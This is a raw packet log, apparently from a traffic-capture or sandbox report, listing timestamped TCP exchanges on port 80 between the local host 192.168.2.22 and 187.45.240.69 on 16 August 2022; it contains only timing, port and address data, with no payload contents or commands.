Aug 16, 2022 11:53:39.334417105 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.334482908 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.549702883 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.549747944 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.549813032 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.549822092 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.549840927 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.549860001 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.549928904 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.549983978 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.550014973 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.550052881 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.550065994 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.550129890 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.550183058 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.550230026 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.550280094 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.557682991 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.557710886 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.557733059 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.557755947 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.557845116 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.557987928 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558011055 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558027983 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558053017 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558058977 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558146000 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558170080 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558195114 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558208942 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558304071 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558327913 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558351040 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558363914 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558584929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558610916 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558634996 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558650017 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558789968 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558815002 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.558840036 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558852911 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.558985949 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.559010029 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.559037924 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.559052944 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.559184074 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.559207916 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.559232950 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.559248924 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.559269905 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.559295893 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.559313059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.559334993 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.559416056 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.559464931 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566092968 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566132069 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566163063 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566190958 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566220045 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566248894 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566276073 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566286087 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566304922 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566317081 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566319942 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566323042 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566337109 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566361904 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566371918 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566380978 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566446066 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566450119 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566477060 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566490889 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566504955 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566509962 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566535950 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566564083 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566575050 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566591978 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566592932 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566601992 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566626072 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.566633940 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566664934 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.566930056 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.571537971 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.573616982 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.573683977 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.573704004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.573725939 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.573729992 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.573757887 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.573868990 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.573882103 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.573924065 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.573937893 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.573956966 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.573977947 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.574026108 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.574110031 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.574129105 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.574174881 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.574316025 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.574333906 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.574379921 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.574479103 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.789725065 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.789781094 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.789824963 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.789851904 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.789880991 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.790021896 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.790050030 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.790226936 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.790261984 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.790697098 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.790741920 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.790747881 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.790751934 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.790914059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.797631979 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.797677994 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.797738075 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.797765970 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.797849894 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.797883987 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.797888041 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.797900915 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.797928095 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.797947884 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.797960043 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798141003 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798170090 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798218966 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798280954 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798305988 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798340082 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798353910 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798449993 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798484087 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798511982 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798532963 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798559904 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798614979 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798640013 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798660994 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798672915 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798865080 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798893929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.798918962 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798930883 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.798990011 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.799032927 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.799052000 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.799097061 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.799128056 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.799168110 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.799307108 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.799335957 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.799369097 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.799379110 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.799406052 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.799448013 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.805851936 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.805882931 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.805970907 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.805989981 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806109905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806144953 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806153059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806169987 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806199074 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806206942 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806339979 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806360006 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806386948 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806405067 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806499004 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806518078 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806552887 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806591034 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806672096 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806721926 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806740999 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806761980 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806772947 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806904078 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806921959 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.806942940 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.806953907 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.807058096 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.807075977 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.807116985 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.807131052 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.811336040 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.811549902 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.813623905 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.813716888 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.813735962 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.813791037 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.813836098 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.813878059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.813883066 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.813925982 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.813983917 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.813987017 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.814045906 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.814088106 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.814165115 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.814207077 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.814259052 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.814260960 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.814315081 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.814321041 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.814372063 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.814410925 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:39.814512968 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:39.816253901 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.029783964 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.029819965 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.029843092 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.029867887 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.029882908 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.029907942 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.030010939 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.030049086 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.030076981 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.030107021 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.030138969 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.030162096 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.030196905 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.030210972 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.030716896 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.031548023 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.031660080 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.045839071 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.045872927 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.045891047 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.045905113 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.045922041 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046021938 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046053886 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046108007 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046139002 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046142101 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046189070 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046241999 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046300888 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046334028 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046349049 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046370983 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046432972 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046499968 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046571970 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046596050 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046633005 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046648979 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046690941 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046740055 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046750069 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046751976 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046789885 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.046819925 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.046859980 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047020912 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047039032 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047075033 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047089100 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047163963 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047180891 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047199011 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047223091 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047231913 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047280073 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047317982 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047420025 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047465086 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047466993 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047503948 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047564983 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047606945 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047648907 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047713041 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047775984 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047797918 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047823906 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047859907 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047903061 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047930002 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.047943115 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.047996044 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.048101902 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.048121929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.048151016 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.048162937 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.048293114 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.048310995 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.048355103 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.048373938 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.048404932 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.048487902 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.053684950 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.053709030 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.053781986 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.053879023 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.053900003 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.053924084 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.053945065 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.053976059 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.053998947 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054037094 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054102898 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054138899 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054157972 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054215908 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054258108 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054307938 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054425955 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054441929 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054461956 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054483891 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054491997 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054502964 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054505110 CEST	49201	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054523945 CEST	80	49201	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054537058 CEST	80	49202	187.45.240.69	192.168.2.22
Aug 16, 2022 11:53:40.054546118 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054579020 CEST	49202	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:53:40.054583073 CEST	49202	80	192.168.2.22	187.45.240.69
